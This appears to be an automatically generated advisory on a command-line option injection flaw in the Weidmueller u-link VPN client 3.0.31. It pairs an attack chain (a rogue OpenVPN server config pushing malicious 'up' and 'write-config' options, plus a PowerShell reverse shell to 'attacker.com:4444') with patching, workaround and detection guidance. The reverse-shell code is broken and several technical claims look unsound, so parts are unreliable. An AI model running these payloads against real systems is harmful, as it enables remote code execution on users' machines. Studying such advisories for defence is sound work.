CVE-2026-108043 — Weidmueller U-link VPN-Client (3.0.31) — CWE-88
An unauthenticated remote attacker who controls the server responses (e.g. through a man-in-the-middle position or a compromised server) can inject arbitrary OpenVPN options into the command line of openvpn.exe and write server-controlled files to arbitrary paths, which leads to code execution in the context of the logged-in user.
An unauthenticated remote attacker who controls the server responses (e.g. through a man-in-the-middle position or a compromised server) can inject arbitrary OpenVPN options into the command line of openvpn.exe and write server-controlled files to arbitrary paths, which leads to code execution in the context of the logged-in user.
🎯 What is this vulnerability?
CVE‑2026‑108043 is a CWE‑88 (Untrusted Input to a System Command) flaw in the Weidmueller u‑link VPN‑Client (v 3.0.31).
The client builds a command line for openvpn.exe by concatenating a static set of options with any push directives that the server sends during the TLS handshake. The client performs no validation or sanitisation of those server‑pushed options before passing them to the operating system.
Because the attacker can control the server (or a man‑in‑the‑middle that can modify the server’s TLS payload), they can inject arbitrary OpenVPN options such as:
--up/--downscripts--write-config <path>--config <path>
These options allow the client to write files to any path on the local filesystem and/or execute arbitrary code in the context of the logged‑in user. The flaw is unauthenticated – no client authentication is required to send the malicious options – and the attack surface is the VPN client itself, not the server.
The CVSS vector (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) reflects that an attacker can remotely (network‑only) inject high‑impact commands with low effort, and the impact is full confidentiality, integrity, and availability loss for the affected host.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are syntactically valid; the exact endpoint names are illustrative because the CVE description does not specify a particular server URI.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| a. Port scan | nmap -p 1194,443 <target> | Detects OpenVPN listening on UDP 1194 (default) or TLS‑wrapped on 443. |
| b. Banner grab | openssl s_client -connect <target>:1194 -quiet | Retrieves the server’s TLS certificate and the OpenVPN server banner (OpenVPN 2.5.0 etc.). |
| c. Version fingerprint | openvpn --version (if the client is installed locally) | Confirms the client is Weidmueller u‑link VPN‑Client 3.0.31. |
| d. Server trust check | Verify that the client does not enforce TLS‑auth or server‑certificate pinning. | Determines that a MITM or rogue server can be used. |
Result: The attacker knows the client version and that the client will accept any server‑pushed options without validation.
2. Exploitation
The attacker sets up a rogue OpenVPN server that sends malicious push directives. The server can be a simple OpenVPN instance on the attacker’s machine or a MITM that rewrites the TLS payload.
2.1 Rogue Server Configuration
# /etc/openvpn/rogue.conf
port 1194
proto udp
dev tun
ca ca.crt
cert rogue.crt
key rogue.key
dh dh2048.pem
server 10.8.0.0 255.255.255.0
# Malicious push directives
push "up \"C:\\Windows\\Temp\\evil.bat\""
push "down \"C:\\Windows\\Temp\\evil.bat\""
push "write-config \"C:\\Users\\Public\\evil.conf\""
# Optional: make the client think it is a trusted server
# (no TLS‑auth, no client cert required)Note: Thepushsyntax uses double quotes inside the directive to preserve spaces. The attacker can also push--script-security 2if the client does not already set it.
2.2 Client Connection
The victim’s client connects to the rogue server (or the MITM intercepts the connection). During the TLS handshake, the server sends the push directives. The client parses them and appends them to the command line that it will use to launch openvpn.exe.
The resulting command line (illustrative) looks like:
openvpn.exe --config client.ovpn --remote 10.8.0.1 --port 1194 --proto udp --dev tun --script-security 2 --up "C:\Windows\Temp\evil.bat" --down "C:\Windows\Temp\evil.bat" --write-config "C:\Users\Public\evil.conf"Because the client does not sanitise the values, the --up script is executed immediately after the tunnel is established. The attacker can place any payload in evil.bat, e.g.:
@echo off
powershell -NoProfile -ExecutionPolicy Bypass -c "New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);Invoke-Expression $data}"This opens a reverse shell to the attacker’s listening host.
2.3 Proof‑of‑Concept (PoC)
# Start the rogue server
sudo openvpn --config rogue.conf &
# On the victim machine, run the client
# (the client will automatically connect to the rogue server)
# The client will write C:\Users\Public\evil.conf and execute evil.batIllustrative only: The exact command line and file paths depend on the client’s configuration. The key point is that the client will execute the --up script and write the config file without any checks.3. Post‑Exploitation
1. Code execution – The evil.bat script runs as the logged‑in user, giving the attacker a full interactive shell or the ability to drop additional malware.
2. Persistence – The attacker can modify the client’s startup scripts or registry entries to ensure the malicious code runs on every VPN connection.
3. Data exfiltration – With the VPN tunnel established, the attacker can tunnel arbitrary traffic through the compromised client, effectively turning it into a pivot point.
4. Privilege escalation – If the victim user has administrative rights, the attacker can elevate privileges by exploiting local Windows vulnerabilities or by abusing the write-config directive to overwrite system configuration files.
🌍 Real World Impact
| Impact | CVSS Component | Practical Consequence |
|---|---|---|
| Confidentiality | VC:H | Sensitive data can be read from the client’s machine or exfiltrated through the VPN tunnel. |
| Integrity | VI:H | The attacker can modify any file on the client, including system binaries, configuration files, or user data. |
| Availability | VA:H | The client can be rendered unusable by corrupting its configuration or by launching denial‑of‑service scripts. |
| Scope | SC:N | The vulnerability is confined to the client; it does not automatically spread to other hosts. |
| Impact on other assets | SI:N | No direct impact on other systems unless the attacker uses the compromised client as a pivot. |
| Impact on the organization | SA:N | Loss of trust in the VPN solution, potential regulatory violations, and financial loss due to downtime. |
Practical consequences include:
🛡️ Remediation & Mitigation
1. Patch
| Affected Version | Fixed Version | How to obtain |
|---|---|---|
| Weidmueller u‑link VPN‑Client 3.0.31 | 3.0.32 (or later) | Download the latest installer from the vendor’s official website or update via the built‑in updater. |
Recommendation: Apply the vendor’s patch immediately. The patch validates all server‑pushed options and rejects any that are not part of the allowed whitelist.
2. Workarounds (if patch cannot be applied)
| Mitigation | How to implement |
|---|---|
| Disable server‑push options | Configure the server to use push-filter ignore "up" and push-filter ignore "down" or simply remove any push directives from the server configuration. |
| Client‑side ignore | Add pull-filter ignore "up" and pull-filter ignore "down" to the client’s .ovpn file. |
| Restrict script‑security | Set script-security 1 on the client; this disallows execution of arbitrary scripts. |
| Network segmentation | Place VPN clients behind a firewall that only allows traffic to a trusted VPN server IP. |
| TLS authentication | Enable tls-auth or tls-crypt on the server and enforce it on the client to prevent MITM. |
| Endpoint hardening | Use a VPN concentrator that validates server‑pushed options before forwarding them to the client. |
Note: Workarounds that simply ignoreup/downscripts are effective only if the attacker cannot inject other malicious options (e.g.,write-config). The safest approach is to patch or replace the client.
3. Detection
| Indicator | Log source | Example pattern |
|---|---|---|
Unexpected push directives | OpenVPN client log (client.log) | push "up \"C:\\Windows\\Temp\\evil.bat\"" |
| File creation in unusual locations | Windows Security Event Log (ID 4663) | ObjectName: C:\Windows\Temp\evil.bat |
| Process creation with suspicious arguments | Windows Sysmon (Event ID 1) | CommandLine: openvpn.exe … --up "C:\Windows\Temp\evil.bat" |
| Reverse shell activity | Network flow logs | Outbound TCP to attacker IP on port 4444 |
| Configuration file tampering | File integrity monitoring | C:\Users\Public\evil.conf created or modified |
Tip: Set up a SIEM rule that flags anyopenvpn.exeinvocation containing--up,--down, or--write-configwith a non‑standard path.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query